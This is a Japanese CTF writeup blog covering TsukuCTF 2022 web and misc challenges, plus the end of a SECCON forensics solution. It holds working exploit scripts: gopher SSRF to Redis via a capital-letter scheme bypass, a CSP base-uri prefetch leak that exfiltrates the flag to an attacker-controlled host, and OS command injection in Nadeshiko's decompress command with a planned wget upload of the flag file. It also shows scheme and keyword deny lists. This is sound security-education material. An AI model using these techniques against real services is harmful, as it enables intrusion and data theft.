t = binascii.unhexlify(b'8c28c20d027aa8bc9a6bd436240c1df73e2714bfabaefb7d340635df9174e24719dd3bcce89572ddad49ac8c93f122aa61ada3f3cb8aa1288bab33957169fd04c482a797556ff067ccb2b031b64c9b03e586142015d5bfa6a1194b0cb939832c2609f3184f18')
print(ARC4.new(k).decrypt(t))

実行する。

$ python3 t.py
b'/C echo "SECCON{M3m0ry_Dump+P4ck3t_C4ptur3=S0ph1st1c4t3d_F0r3ns1cs}" > C:\\Users\\ctf\\Desktop\\flag.txt\r\n\x00'
b'/C echo "I regret to say that your computer is pwned... :(" > C:\\Users\\ctf\\Desktop\\notification.txt\r\n\x00'

フラグが得られた。

SECCON{M3m0ry_Dump+P4ck3t_C4ptur3=S0ph1st1c4t3d_F0r3ns1cs}

*1:チーム名にASCII範囲内の文字しか使えなかったので、その制限の範囲内でなるべくかわいいものにした

*2:昨年はすみませんでした

*3:SSTI発生!!!!!!!

TsukuCTF 2022 writeup

10/22 - 10/23という日程で開催された。keymoonさん、ptr-yudaiさん、ふるつきさん、そして私から構成される98ptsで参加して全完し1位。前回はソロチームで今回は4人チームという違いはあるけれども、2年連続で優勝できて嬉しい。

*1

全部で35問が出題されたうち、「OSINT」問が26問というCTFだった*2。CTFで出る「OSINT」には色々あるが、今回は写真が1枚与えられるのでその撮影地を特定するGeolocationであったり、秘匿されているWebサイトの運営者の情報を暴いたりといった問題があった。特に前者のような問題は人によってアプローチが異なるので、writeupを楽しみにしたい*3

ほかのメンバーのwriteup:


[Web 428] bughunter (86 solves)

天才ハッカーのつくし君は、どんなサイトの脆弱性でも見つけることができます。 あなたも彼のようにこのサイトの脆弱性を見つけることができますか? 見つけたら私たちに報告してください。

ディレクトリの総当たりなどは禁止されています。本問題の解決には、多数のリクエストは不要です。

「超絶安全なサイト」を自称するWebサイトのURLが与えられる。

その割には ?tsuku=<script>alert(123)</script> をURLに追加すると alert が出てくるし、全然安全じゃない。そもそも、「反射型XSSなどを見つけたら」と反射型XSSのことを知っているくせに、なぜそのままにしているのか。それはそれとして、脆弱性を発見したからには言われているように運営者へ報告したい。でも、どこへ?

実は、この問題には RFC9116 というタグが付いている。このRFC脆弱性を発見した際の報告先などを記載する security.txt を定義したものだ。まさに今知りたいことだ。この security.txt/.well-known/ ディレクトリ下に置くものだが、このWebサイトにはあるだろうか。

/.well-known/security.txt にアクセスすると、あった。連絡先がフラグになっている。Expires を見ると有効期限を過ぎているけれども、大丈夫だった。

Contact: TsukuCTF22{y0u_c4n_c47ch_bu65_4ll_y34r_r0und_1n_7h3_1n73rn37}
Expires: 2022-10-20T15:00:00.000Z
Preferred-Languages: ja, en
TsukuCTF22{y0u_c4n_c47ch_bu65_4ll_y34r_r0und_1n_7h3_1n73rn37}

この問題は98ptsがfirst bloodだった。問題文と RFC9116 というタグを見てピンときた。

[Web 500] viewer (8 solves)

Writeups for TsukuCTF21 have been published. Check them out if you'd like!

ソースコード付き。このWebサイトは昨年のTsukuCTFの公式writeupを閲覧できるものだ。適当なユーザ名を入力してログイン後、以下のようなUIが表示される。問題名を選択して Access ボタンを押すと、サーバが別のサイトで公開されているwriteupを取得してきて返してくれる。

app, nginx, redis の3つのコンテナから構成されているが、重要なのは appapp.py だけ。その内容は以下のようなものだった。

from flask import (
    Flask,
    abort,
    make_response,
    render_template,
    request,
    redirect
)
import redis
import pycurl
from io import BytesIO
import traceback
import uuid
import json

app = Flask(__name__)

# initialization
redis = redis.Redis(host='redis', port=6379, db=0)
flag = "TsukuCTF22{dummy flag}" # the flag is replaced a real flag in a production environment.
id = str(uuid.uuid4())
redis.set(id, json.dumps({"id": id, "name": flag}))

# only 'http' and 'https' should have been allowed, right?
# ref: https://everything.curl.dev/cmdline/urls/scheme#supported-schemes
blacklist_of_scheme = ['dict', 'file', 'ftp', 'gopher', 'imap', 'ldap', 'mqtt', 'pop3', 'rtmp', 'rtsp', 'scp', 'smb', 'smtp', 'telnet']

def url_sanitizer(uri: str) -> str:
    if len(uri) == 0 or any([scheme in uri for scheme in blacklist_of_scheme]):
        return "https://fans.sechack365.com"
    return uri

# a response is also sanitized just in case because the flag is super sensitive information.
blacklist_in_response = ['TsukuCTF22']

def response_sanitizer(body: str) -> str:
    if any([scheme in body for scheme in blacklist_in_response]):
        return "SANITIZED: a sensitive data is included!"
    return body

@app.route("/<path:path>")
def missing_handler(path):
    abort(404, "ページが見つかりません")

@app.route("/", methods=["GET", "POST"])
def route_index():
    session_id = request.cookies.get('__SESSION_ID')
    name = None
    if session_id is not None:
        res= redis.get(session_id)
        if res is not None:
            user = json.loads(res)
            print(f"user: {user}")
            name = user["name"]
            if name is not None and "TsukuCTF22{" in name:
                name = "tsukushi"
    else:
        return redirect('/register')

    if request.method == "POST":
        url = url_sanitizer(request.form.get("url"))

        buf = BytesIO()
        try:
            c = pycurl.Curl()
            c.setopt(c.URL, url)
            c.setopt(c.WRITEDATA, buf)
            c.perform()
            c.close()
    
            body = buf.getvalue().decode('utf-8')
        except Exception as e:
            traceback.print_exc()
            abort("error occurs")
        return render_template("index.html", url=url, data=response_sanitizer(body), name=name)
    return render_template("index.html", data=None, name=name)

@app.route("/register", methods=["GET"])
def register():
    return render_template("register.html")
    

@app.route("/register", methods=["POST"])
def register_post():
    name = request.form.get("name")
    redis.set(id, json.dumps({"id": str(uuid.uuid4()), "name": name}))
    redis.expire(id, 100)
    
    resp = make_response(redirect('/'))
    resp.set_cookie('__SESSION_ID', id)
    return resp

@app.route("/logout", methods=["GET"])
def logout():
    resp = make_response(redirect('/'))
    resp.set_cookie('__SESSION_ID', '', expires=0)
    return resp

if __name__ == "__main__":
    app.run(debug=False, host="0.0.0.0", port=31555)

ソースコードを読んでいく。

ユーザの情報(というかセッションデータ)はRedisに保存されている。UUIDv4で生成されたキー(セッションID)で {"id": "(セッションID)", "name": "(ユーザ名)"} というJSONを保存している。クライアントは __SESSION_ID というCookieのキーにセッションIDを持ち、それを受けてサーバはRedisからユーザ名を引っ張ってくる。

Redisの初期化時に以下のような処理がある。通常のユーザと同様にUUIDv4のキーで、フラグをユーザ名とするセッションが追加されている。ここから、この問題の目的はフラグの書かれたセッションの情報を盗み見ることであるとわかる。

# initialization
redis = redis.Redis(host='redis', port=6379, db=0)
flag = "TsukuCTF22{dummy flag}" # the flag is replaced a real flag in a production environment.
id = str(uuid.uuid4())
redis.set(id, json.dumps({"id": id, "name": flag}))

writeupを取得する処理を確認する。なかなかシンプルで、PycURLを使っている。ただし、取得できるURLは url_sanitizer によってフィルターされている。レスポンスも response_sanitizer でフィルターされている。

        url = url_sanitizer(request.form.get("url"))

        buf = BytesIO()
        try:
            c = pycurl.Curl()
            c.setopt(c.URL, url)
            c.setopt(c.WRITEDATA, buf)
            c.perform()
            c.close()
    
            body = buf.getvalue().decode('utf-8')
        except Exception as e:
            traceback.print_exc()
            abort("error occurs")
        return render_template("index.html", url=url, data=response_sanitizer(body), name=name)

url_sanitizer の処理を見ていく。dictgopher などの危険なスキームがURLに含まれていれば、たとえそれが含まれているのがパスなどの部分であっても弾かれるようになっている。それで、httphttps 以外を弾いているしている。SSRF対策だろう。

# only 'http' and 'https' should have been allowed, right?
# ref: https://everything.curl.dev/cmdline/urls/scheme#supported-schemes
blacklist_of_scheme = ['dict', 'file', 'ftp', 'gopher', 'imap', 'ldap', 'mqtt', 'pop3', 'rtmp', 'rtsp', 'scp', 'smb', 'smtp', 'telnet']

def url_sanitizer(uri: str) -> str:
    if len(uri) == 0 or any([scheme in uri for scheme in blacklist_of_scheme]):
        return "https://fans.sechack365.com"
    return uri

response_sanitizer を確認する。こちらもシンプルで、TsukuCTF22 (つまり、フラグ)が含まれていれば弾くようになっている。

# a response is also sanitized just in case because the flag is super sensitive information.
blacklist_in_response = ['TsukuCTF22']

def response_sanitizer(body: str) -> str:
    if any([scheme in body for scheme in blacklist_in_response]):
        return "SANITIZED: a sensitive data is included!"
    return body

また、response_sanitizer に加えて、Redisから取得してきたユーザ名にフラグが含まれている場合にもフィルターがある。ユーザ名に TsukuCTF22{ が含まれていれば、強制的に tsukushi としてログインしたものとして扱われてしまう。

        res= redis.get(session_id)
        if res is not None:
            user = json.loads(res)
            print(f"user: {user}")
            name = user["name"]
            if name is not None and "TsukuCTF22{" in name:
                name = "tsukushi"

ここまででやるべきことはわかった。Redisからフラグが含まれているセッションデータを抜き出してきて、別のセッションデータにその一部を埋め込むなりなんなりして手に入れたい。しかしながら、Redisサーバに対してSSRFをしようにも gopherldap といった重要なスキームが使えないため難しい。http はRedis側で防がれているし、https を使おうにもTLS-poisonはセットアップが面倒なのでやだ。tftp などもその部分文字列としてフィルターされている ftp が含まれている(というか、そもそも tftpUDPだ)のでダメ。

TLS-poisonするしかないか~と悩んでいたところ、ふるつきさんが「schemeってcase insensitiveだったりしませんか」と思いついた。本当だ、事前にユーザが入力したURLを str.lower に通したり、case-insensitiveな比較を使ったりしていない。

docker-compose.yml でローカルに環境を立てて、gopher によるRedisへのSSRFができるか試してみる。流れはこうだ。まずは適当な neko というユーザ名で登録する。そして、Gopher://redis:6379/_EVAL… と、1文字目を大文字にして url_sanitizer をバイパスしつつ、gopher プロトコルでRedisサーバに EVAL コマンドを投げつける。EVAL ではランダムに生成したセッションIDをキーに、偽造した poyo というユーザ名のセッションデータを保存する。最後に、Cookie__SESSION_ID に今生成したセッションIDを入れてアクセスし、セッションを偽造できたか確認する。

import uuid
import requests

TARGET = 'localhost:31555'

i = str(uuid.uuid4())
s = requests.Session()
s.post(f'http://{TARGET}/register', data={
    'name': 'neko'
})
s.post(f'http://{TARGET}/', data={
    'url': f'''Gopher://redis:6379/_EVAL "return redis.call('set','{i}','{{\\"name\\":\\"poyo\\"}}')" 0%0d%0aQUIT%0d%0a'''
})

r = requests.get(f'http://{TARGET}/', cookies={
    '__SESSION_ID': i
})
print(r.text)

実行してみる。確かに、poyo というユーザ名のセッションが偽造できている。RedisへのSSRFが成功したようだ。

$ python3 t.py | grep Hello
        <h1>Hello, poyo</h1>

まだ問題は2つある。ひとつは、どうやってほかのセッションデータに紛れてしまっているフラグを見つけるかだ。もうひとつは、どうやって response_sanitizer などをバイパスしてフラグを出力させるかだ。

フラグを見つける方法について考える。せっかく EVAL が使えるのだから、KEYS * ですべてのキーを取得した後に、GET (キー) でその内容を取得し、もしフラグが含まれていれば SET (セッションID) (フラグを含むJSON) を実行させればよいのではないか。これを実装すると以下のようになった。

local k = redis.call('keys','*')
local v
for i, m in ipairs(k) do
  v = redis.call('get', m)
  if string.find(v, 'Tsuku') then
    return redis.call('set', '{i}', '{"name":"' .. '"name":"' .. v .. '"}')
  end
end

もうひとつの問題である、response_sanitizer などをバイパスする方法について考える。単純に、フラグから TsukuCTF を削除すればよいのではないか。ということで、今のLuaスクリプトに少し手を加えて、Tsukutsuku に置換するようにする。ついでに " を削除しているのは、JSONとして破綻しないようにするためだ。

local k = redis.call('keys','*')
local v
for i, m in ipairs(k) do
  v = redis.call('get', m)
  if string.find(v, 'Tsuku') then
    return redis.call('set', '{i}', '{"name":"' .. v:gsub('"', ''):gsub('Tsuku', 'tsuku') .. '"}')
  end
end

あとはこれを実行するだけだ。Pythonスクリプトにする。

import uuid
import requests
import re

TARGET = 'https://tsukuctf.sechack365.com/viewer'

i = str(uuid.uuid4())
s = requests.Session()
s.post(f'{TARGET}/register', data={
    'name': 'neko'
})

s.post(f'{TARGET}', data={
    'url': f'''Gopher://redis:6379/_EVAL "local k = redis.call('keys','*'); local v; for i, m in ipairs(k) do v = redis.call('get', m); if string.find(v, 'Tsuku') then return redis.call('set','{i}','{{\\"name\\":\\"' .. v:gsub('\\"',''):gsub('Tsuku','tsuku') .. '\\"}}'); end end;" 0%0d%0aQUIT%0d%0a'''
})
r = requests.get(f'{TARGET}', cookies={
    '__SESSION_ID': i
})

print(re.findall(r'Hello, (.+)<', r.text)[0].replace('tsuku', 'Tsuku'))

これを実行すると、フラグが得られた。

$ python3 s.py
{name:{id: bdf4486d-2989-4028-87a2-c1a025b28186, name: TsukuCTF22{ur1_scheme_1s_u5efu1}}}
TsukuCTF22{ur1_scheme_1s_u5efu1}

この問題は98ptsがfirst bloodだった。

[Web 500] leaks4b (3 solves)

ケーキをあいまい検索できます。 どれを注文するか迷ってしまいます!! ※フラグの形式は TsukuCTF22{[a-z]{7}} です。多数のリクエストを許容する問題ですが、数秒間隔をあけてください。配布されているソースは厳密なものではありません。フラグの提出回数は3回までとなっています。

ソースコード付き。ケーキの閲覧や注文ができるWebアプリケーションだ。

ケーキのURLを送信することで注文ができる。

app.py は以下のようになっている。

import os
import re
import secrets
from flask import Flask, abort, request
from playwright.sync_api import sync_playwright

app = Flask(__name__)

FLAG = os.getenv("FLAG", "TsukuCTF22{dummy_flag}")

# コンテナで試す場合は要編集 (ex. http://host.docker.internal:31416, http://gateway.docker.internal:31416)
URL = "http://localhost:31416"

def cssi_sanitizer(text):
    # XSS could be mitigated by CSP, but CSSi and ReDoS are dangerous.
    deny_list = ["stylesheet", "import", "image", "style", "flag", "link", "img", "\"", "$", "'", "(", ")", "*", "+", ":", ";", "?", "@", "[", "\\", "]", "^", "{", "}"]
    text = text.lower()
    if any([hack in text for hack in deny_list]):
        return "ハッキングケーキ"
    return text

menu = ["チョコレートケーキ, チョコケーキ, chocolatecake", "チーズケーキ, cheesecake", "バナナケーキ, bananacake"]

@app.route("/<path:path>")
def missing_handler(path):
    abort(404, "ページが見つかりません。\nごめんね(^^♪")

@app.route("/")
def top():
    cake = request.args.get("cake", "チョコレートケーキ")
    cake = cssi_sanitizer(cake[:100])
    flag = request.cookies.get("flag")
    # It is not expected to steal the cookie.
    # This is "leaks4b."
    if (flag == FLAG) and (re.findall(cake, FLAG)):
        img = "flag0.jpg"
    elif re.findall(cake, menu[0]):
        img = f"cake0.jpg"
    elif re.findall(cake, menu[1]):
        img = f"cake1.jpg"
    elif re.findall(cake, menu[2]):
        img = f"cake2.jpg"
    else:
        img = f"cake3.jpg"
    nonce = secrets.token_urlsafe(16)
    return f"""<!doctype html>
<html>
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta http-equiv="Content-Security-Policy" content="script-src 'nonce-{nonce}'; base-uri 'none'; connect-src 'none'; font-src 'none'; form-action 'none'; frame-src 'none'; object-src 'none'; require-trusted-types-for 'script'; worker-src 'none';">
    <script src="https://cdn.tailwindcss.com" nonce="{nonce}"></script>
    <title>Leaks4b</title>
</head>
<body>
    <div class="bg-white py-6 sm:py-8 lg:py-12">
        <div class="max-w-screen-md px-4 md:px-8 mx-auto">
            <h1 class="text-gray-800 text-2xl sm:text-3xl font-bold text-center mb-4 md:mb-6">Leaks4b</h1>

            <p class="text-gray-500 sm:text-lg mb-6 md:mb-8">
                <span class="text-red-600">{cake}</span>を見せてあげます🍰<br>
                絶対に食べたらだめですからね!!<br>
            </p>

            <div class="bg-gray-100 overflow-hidden rounded-lg shadow-lg relative mb-6 md:mb-8">
            <img src="/static/img/{img}">
            </div>

            <p class="text-gray-500 sm:text-lg mb-6 md:mb-8">
                食べたければ<a href="/order" class="text-blue-600 font-bold">ここ</a>から注文してください。
            </p>


        </div>
    </div>
</body>
</html>
"""


@app.route("/order", methods=["GET"])
def order_get():
    nonce = secrets.token_urlsafe(16)
    return f"""<!doctype html>
<html>
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta http-equiv="Content-Security-Policy" content="script-src 'nonce-{nonce}'; base-uri 'none'; connect-src 'none'; font-src 'none'; frame-src 'none'; object-src 'none'; require-trusted-types-for 'script'; worker-src 'none';">
    <script src="https://cdn.tailwindcss.com" nonce="{nonce}"></script>
    <title>Leaks4b</title>
</head>
<body>
    <div class="bg-white py-6 sm:py-8 lg:py-12">
        <div class="max-w-screen-md px-4 md:px-8 mx-auto">
            <h1 class="text-gray-800 text-2xl sm:text-3xl font-bold text-center mb-4 md:mb-6">Leaks4b<br> ~ Cake Order Page ~</h1>

            <p class="text-gray-500 sm:text-lg mb-6 md:mb-8">
                以下から注文したいケーキのURLを送信してください。<br>
                ただし、パティシエは忙しいので大量の注文はやめてください。  
            </p>

            <form method="post" class="form">
            <div class="mb-6">
                <label class="text-gray-500 sm:text-lg mb-6 md:mb-8">URL</label>
                <input type="url" name="url" class="bg-gray-50 border border-gray-300 text-gray-900 text-sm rounded-lg focus:ring-blue-500 focus:border-blue-500 block w-full p-2.5" placeholder="{URL}" required>
            </div>
            <button type="submit" class="text-white bg-blue-700 hover:bg-blue-800 focus:ring-4 focus:outline-none focus:ring-blue-300 font-medium rounded-lg text-sm w-full sm:w-auto px-5 py-2.5 text-center dark:bg-blue-600 dark:hover:bg-blue-700 dark:focus:ring-blue-800">Order</button>
            </form>

        </div>
    </div>
</body>
</html>
"""

@app.route("/order", methods=["POST"])
def order_post():
    url = request.form.get("url", "____")
    if not url.startswith("http"):
        return "[ERROR] http and https schemes are allowed."
    try:
        with sync_playwright() as p:
            browser = p.firefox.launch()
            context = browser.new_context()
            context.add_cookies([{"name": "flag", "value": FLAG, "httpOnly": True, "url": URL}])
            page = context.new_page()
            page.goto(url, timeout=10000)
            browser.close()
    except Exception as e:
        print(e)
        pass
    return "I received your cake order. Have the flag and wait for your cake!"


if __name__ == "__main__":
    app.run(debug=True, host="0.0.0.0", port=31416)
    # ソース汚くてゴメンね(´;ω;`)

まずはフラグに関係する部分から見ていく。フラグは環境変数から取ってきている。

FLAG = os.getenv("FLAG", "TsukuCTF22{dummy_flag}")

フラグはこのソースコード中の2箇所で参照されているけれども、そのひとつめがこのケーキの閲覧ページだ。cake というクエリパラメータでケーキの種類を指定できるが、それが特定のケーキの種類であれば cake0.jpgcake1.jpg といった、ケーキに対応する画像を表示するようにしている。

そのケーキの種類を判定する処理が奇妙で、re.findall が使われている。この関数には第一引数として正規表現を、第ニ引数としてそれにマッチしているか確認したい文字列を渡すのだけれども、ここでは第一引数にユーザ入力の cake が、第ニ引数に チョコレートケーキ, チョコケーキ, chocolatecake などのサーバ側で定義されている文字列が渡されている。確かにそれで動くけれども、cake in menu[0] のような処理で十分なはずだ。

もうひとつ奇妙な点として、(flag == FLAG) and (re.findall(cake, FLAG)) ならば flag0.jpg という画像を表示する処理がある。もしCookieflag がフラグと一致していれば、かつ cake正規表現としたときにフラグとマッチしていればそうなるということだ。後者だけなら正規表現でちまちまフラグを手に入れられるので嬉しいが、前者はフラグを知らない我々には当てられるはずがないのでどうしようもない。

menu = ["チョコレートケーキ, チョコケーキ, chocolatecake", "チーズケーキ, cheesecake", "バナナケーキ, bananacake"]

# …

@app.route("/")
def top():
    cake = request.args.get("cake", "チョコレートケーキ")
    cake = cssi_sanitizer(cake[:100])
    flag = request.cookies.get("flag")
    # It is not expected to steal the cookie.
    # This is "leaks4b."
    if (flag == FLAG) and (re.findall(cake, FLAG)):
        img = "flag0.jpg"
    elif re.findall(cake, menu[0]):
        img = f"cake0.jpg"
    elif re.findall(cake, menu[1]):
        img = f"cake1.jpg"
    elif re.findall(cake, menu[2]):
        img = f"cake2.jpg"
    else:
        img = f"cake3.jpg"
    nonce = secrets.token_urlsafe(16)
    return f"""<!doctype html>
<html>
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta http-equiv="Content-Security-Policy" content="script-src 'nonce-{nonce}'; base-uri 'none'; connect-src 'none'; font-src 'none'; form-action 'none'; frame-src 'none'; object-src 'none'; require-trusted-types-for 'script'; worker-src 'none';">
    <script src="https://cdn.tailwindcss.com" nonce="{nonce}"></script>
    <title>Leaks4b</title>
</head>
<body>
    <div class="bg-white py-6 sm:py-8 lg:py-12">
        <div class="max-w-screen-md px-4 md:px-8 mx-auto">
            <h1 class="text-gray-800 text-2xl sm:text-3xl font-bold text-center mb-4 md:mb-6">Leaks4b</h1>

            <p class="text-gray-500 sm:text-lg mb-6 md:mb-8">
                <span class="text-red-600">{cake}</span>を見せてあげます🍰<br>
                絶対に食べたらだめですからね!!<br>
            </p>

            <div class="bg-gray-100 overflow-hidden rounded-lg shadow-lg relative mb-6 md:mb-8">
            <img src="/static/img/{img}">
            </div>

            <p class="text-gray-500 sm:text-lg mb-6 md:mb-8">
                食べたければ<a href="/order" class="text-blue-600 font-bold">ここ</a>から注文してください。
            </p>


        </div>
    </div>
</body>
</html>
"""

フラグが参照されているもう一箇所はここ、ケーキの注文ページだ。ユーザから与えられたURLがもし http から始まっていればPlaywrightでFirefoxを起動し、アクセスさせる。問題サーバのホストに対して flag というCookieのキーでフラグを設定するという形で、フラグが参照されている。

Cookieflag というキーには聞き覚えがある。ケーキの閲覧ページの処理だ。これならさっきの条件分岐中の flag == FLAG という条件をクリアできるし、正規表現を使って、表示される画像が flag0.jpg かそれ以外かという情報からフラグを少しずつ入手できる。でも、どうやってどんな画像が表示されているかを観測すればよいのか。

@app.route("/order", methods=["POST"])
def order_post():
    url = request.form.get("url", "____")
    if not url.startswith("http"):
        return "[ERROR] http and https schemes are allowed."
    try:
        with sync_playwright() as p:
            browser = p.firefox.launch()
            context = browser.new_context()
            context.add_cookies([{"name": "flag", "value": FLAG, "httpOnly": True, "url": URL}])
            page = context.new_page()
            page.goto(url, timeout=10000)
            browser.close()
    except Exception as e:
        print(e)
        pass
    return "I received your cake order. Have the flag and wait for your cake!"

ケーキの閲覧ページをよく見ると、HTML Injectionがあることがわかる。出力されるHTMLのテンプレートの一部を抜粋する。ここまででユーザ入力である cake から <> を削除する処理はない。ただし、厳しいCSPがあるため、HTML InjectionがあったとしてもJavaScriptコードの実行などはできない。

    <meta http-equiv="Content-Security-Policy" content="script-src 'nonce-{nonce}'; base-uri 'none'; connect-src 'none'; font-src 'none'; form-action 'none'; frame-src 'none'; object-src 'none'; require-trusted-types-for 'script'; worker-src 'none';"><p class="text-gray-500 sm:text-lg mb-6 md:mb-8">
                <span class="text-red-600">{cake}</span>を見せてあげます🍰<br>
                絶対に食べたらだめですからね!!<br>
            </p>

また、この cake は、事前に cake = cssi_sanitizer(cake[:100]) という処理によって一部の危険な文字列が含まれる場合には「ハッキングケーキ」という文字列が与えられたものとして扱うようになっている。ハッキングケーキってなに?

def cssi_sanitizer(text):
    # XSS could be mitigated by CSP, but CSSi and ReDoS are dangerous.
    deny_list = ["stylesheet", "import", "image", "style", "flag", "link", "img", "\"", "$", "'", "(", ")", "*", "+", ":", ";", "?", "@", "[", "\\", "]", "^", "{", "}"]
    text = text.lower()
    if any([hack in text for hack in deny_list]):
        return "ハッキングケーキ"
    return text

ではどうするか。試しにWebhook.siteで生成したURLを「注文」してみると、Mozilla/5.0 (X11; Linux x86_64; rv:104.0) Gecko/20100101 Firefox/104.0 というUser-Agentでアクセスが来た。Firefoxなのは知っていたが、2022年10月22日現在の最新のバージョンは106.0.1なのでやや古い。Firefox 104.0になにか脆弱性はないだろうか。

Mozillaのセキュリティアドバイザリを見ると、Firefox 105.0でいくつか脆弱性が修正されていることがわかる。そのうちのひとつであるCVE-2022-40956base-uri のCSPバイパスとあり、気になる。報告者も "Satoki Tsuji" さんで、つまりはこれはTsukuCTFの作問者であるSatokiさんが報告した脆弱性だ。怪しい。

mozilla-central でBugzillaの番号である 1770094 を検索して見つかった、この脆弱性を修正したdiffを確認すると、どんなものだったかわかる。CSPで base-uri が指定されていたとしても、それを無視して base 要素による設定を反映した上でリソースの先読みをしてしまうというものだったっぽい。

CSPバイパスができるのは「先読み」時に限られるのであまり悪用できるシチュエーションが思い浮かばないが、少なくともこの問題では役立つ。base 要素で自分の管理下にあるサーバを指定してやると、先読みによって http://(自分の管理下にあるサーバ)/static/img/(画像のパス) を取得しに来るはずだ。これなら、flag0.jpg やら cake0.jpg やらのケーキの画像について、どれが表示されたかがわかる。

これで材料は揃った。クエリパラメータの cake(試したい正規表現)|<base href=//(自分の管理下にあるサーバのホスト名)/> を入れたURLを「注文」すると、もしフラグにマッチしていれば /static/img/flag0.jpg に、そうでなければそれ以外のパスにリクエストが来るはずだ。試してみる。

/?cake=.suku...22|%3Cbase%20href=//(省略)/%3E を報告すると、確かに /static/img/flag0.jpg へのアクセスが来た。/?cake=.suko...22|%3Cbase%20href=//(省略)/%3E では /static/img/cake3.jpg へのアクセスが来た。これならいけそうだ。

これを自動化して、フラグを少しずつ抽出するスクリプトを書こう。

import string
import requests
from flask import Flask, Response

YOUR_HOSTNAME = '(省略)'
TARGET = 'http://133.130.96.134:31416/'

app = Flask(__name__)

flag = '.suku...22.'
current_char = None
done = None
@app.route('/static/img/<path:path>')
def get_image(path):
    global done
    if path == 'flag0.jpg':
        done = True
    return 'ok'

def go():
    global flag, current_char, done
    for _ in range(7):
        done = False
        for current_char in string.ascii_lowercase:
            url = f'{TARGET}?cake={flag}{current_char}|<base href=//{YOUR_HOSTNAME}/>'
            print(f'{url=}')
            requests.post(f'{TARGET}/order', data={
                'url': url
            })
            if done:
                flag += current_char
                print(f'{flag=}')
                break
            yield '.' 
        yield '\n' 

@app.route('/start')
def start():
    resp = Response(go())
    resp.content_type = 'text/plain; charset=utf-8'
    return resp

if __name__ == '__main__':
    app.run(debug=True, host='0.0.0.0', port=80)

実行してしばらく待つとフラグが得られる。

$ python3 solve.py
 * Debugger is active!
…
url='http://133.130.96.134:31416/?cake=.suku...22.a|<base href=//(省略)/>'
133.130.96.134 - - [23/Oct/2022 08:11:37] "GET /static/img/cake3.jpg HTTP/1.1" 200 -
url='http://133.130.96.134:31416/?cake=.suku...22.b|<base href=//(省略)/>'
133.130.96.134 - - [23/Oct/2022 08:11:41] "GET /static/img/cake3.jpg HTTP/1.1" 200 -
url='http://133.130.96.134:31416/?cake=.suku...22.c|<base href=//(省略)/>'
133.130.96.134 - - [23/Oct/2022 08:11:44] "GET /static/img/flag0.jpg HTTP/1.1" 200 -
flag='.suku...22.c'
…
flag='.suku...22.cakeuma'
TsukuCTF22{cakeuma}

4bとは。この問題は98ptsがfirst bloodだった。すべてのWeb問でfirst bloodが取れて嬉しい。実は今回使った脆弱性Mozillaがアドバイザリを出した直後ぐらいから把握していて、CTFで出そうだとも別に考えないまま、パッチの確認からPoCを書いての検証までやっていた。ptr-yudaiさんが「ほぼ100%これが出る」と予言していたけれども、本当に出た。

このwriteupではフラグを特定する作業を自動化しているけれども、本番ではWebサーバのアクセスログを見つつ手作業で頑張っていた。そっちの方が早いと思ったので*4

[Misc 500] nako3ndbox (6 solves)

に・ほ・ん・ご・で・あ・そ・ぼ

nc tsukuctf.sechack365.com 31418

以下のようななでしこのコードが与えられる。これがサーバで動いているようだ。やっていることは単純で、ユーザが入力した文字列をなでしこコードとしてeval(つまり、「ナデシコ」命令を実行)する。ただし、「読」や「開」などフラグが読み出せそうな命令が含まれている場合には実行されない。

「------------------------------------------------------------
             _        _____           _ _
 _ __   __ _| | _____|___ / _ __   __| | |__   _____  __
| '_ \ / _` | |/ / _ \ |_ \| '_ \ / _` | '_ \ / _ \ \/ /
| | | | (_| |   < (_) |__) | | | | (_| | |_) | (_) >  <
|_| |_|\__,_|_|\_\___/____/|_| |_|\__,_|_.__/ \___/_/\_\

------------------------------------------------------------」と言う

「日本語コード:」と尋ねる
それを入力に代入

ブラックリスト=「読、開、保存、実行、起動、サーバ、フォルダ、ファイル、ナデシコ、ディレクトリ、flag」を「、」で区切る

ブラックリスト!=空の間
  ブラックリストの0から1を配列取り出す
  もし(入力でそれの出現回数)!=0ならば
    「日本語の世界からは出しませんよ!!!」と言う
    終了する
  ここまで
ここまで

「{入力}」をナデシコする

終了する

マニュアルの命令一覧を眺めるが、フィルターをバイパスしつつフラグを読み出せそうな命令は見つからない。ふるつきさんが「圧縮解凍ツールパス」という変数を変更しつつ「解凍」という命令を実行すると好きなコマンドが実行できるという性質を利用して色々試していたものの、付いてくるオプションが邪魔でなかなかうまくいっていなかった。

なでしこ3といえば、最近いくつか脆弱性が見つかっていた。そのひとつは「圧縮」「解凍」命令でOSコマンドインジェクションができるというものだ。詳しく知りたい。その前にとりあえず問題環境で動いているなでしこのバージョンを調べてみたが、v3.3.67らしい。これはJVNに書かれている情報によれば脆弱性が修正されているバージョンであるはず。

$ cnako3 --version
v3.3.67

ここでptr-yudaiさんから、1回目の修正が不十分で、何度か追加で修正が入っていたという情報の共有があった。リリースログを見ていくと、問題環境で動いているバージョンよりあとのv3.3.69でもこの脆弱性の修正がされている。

修正をしているコミットを確認する。diffを読むと、まず引数のエスケープが不十分であったことに起因するOSコマンドインジェクションであることがわかる。興味深いことに、テストケースとしてそのまま使えそうなコードが含まれている。

これを元に、試しに以下のようななでしこコードを実行する。

「\'a\';touch hoge;#\'」から「a」に解凍

問題の環境を確認すると、hoge というファイルが作られている。OSコマンドインジェクションができているようだ。

$ docker exec -it nako3ndbox-nako3ndbox-1 ls
app.nako3  flag.txt
$ nc localhost 31418
------------------------------------------------------------
             _        _____           _ _
 _ __   __ _| | _____|___ / _ __   __| | |__   _____  __
| '_ \ / _` | |/ / _ \ |_ \| '_ \ / _` | '_ \ / _ \ \/ /
| | | | (_| |   < (_) |__) | | | | (_| | |_) | (_) >  <
|_| |_|\__,_|_|\_\___/____/|_| |_|\__,_|_.__/ \___/_/\_\

------------------------------------------------------------
日本語コード:「\'a\';touch hoge;#\'」から「a」に解凍
/bin/sh: 7z: not found

$ docker exec -it nako3ndbox-nako3ndbox-1 ls
app.nako3  flag.txt   hoge

実行するOSコマンドを wgetflag.txt をWebhook.siteにアップロードするものに変える。

$ nc tsukuctf.sechack365.com 31418
------------------------------------------------------------
             _        _____           _ _
 _ __   __ _| | _____|___ / _ __   __| | |__   _____  __
| '_ \ / _` | |/ / _ \ |_ \| '_ \ / _` | '_ \ / _ \ \/ /
| | | | (_| |   < (_) |__) | | | | (_| | |_) | (_) >  <
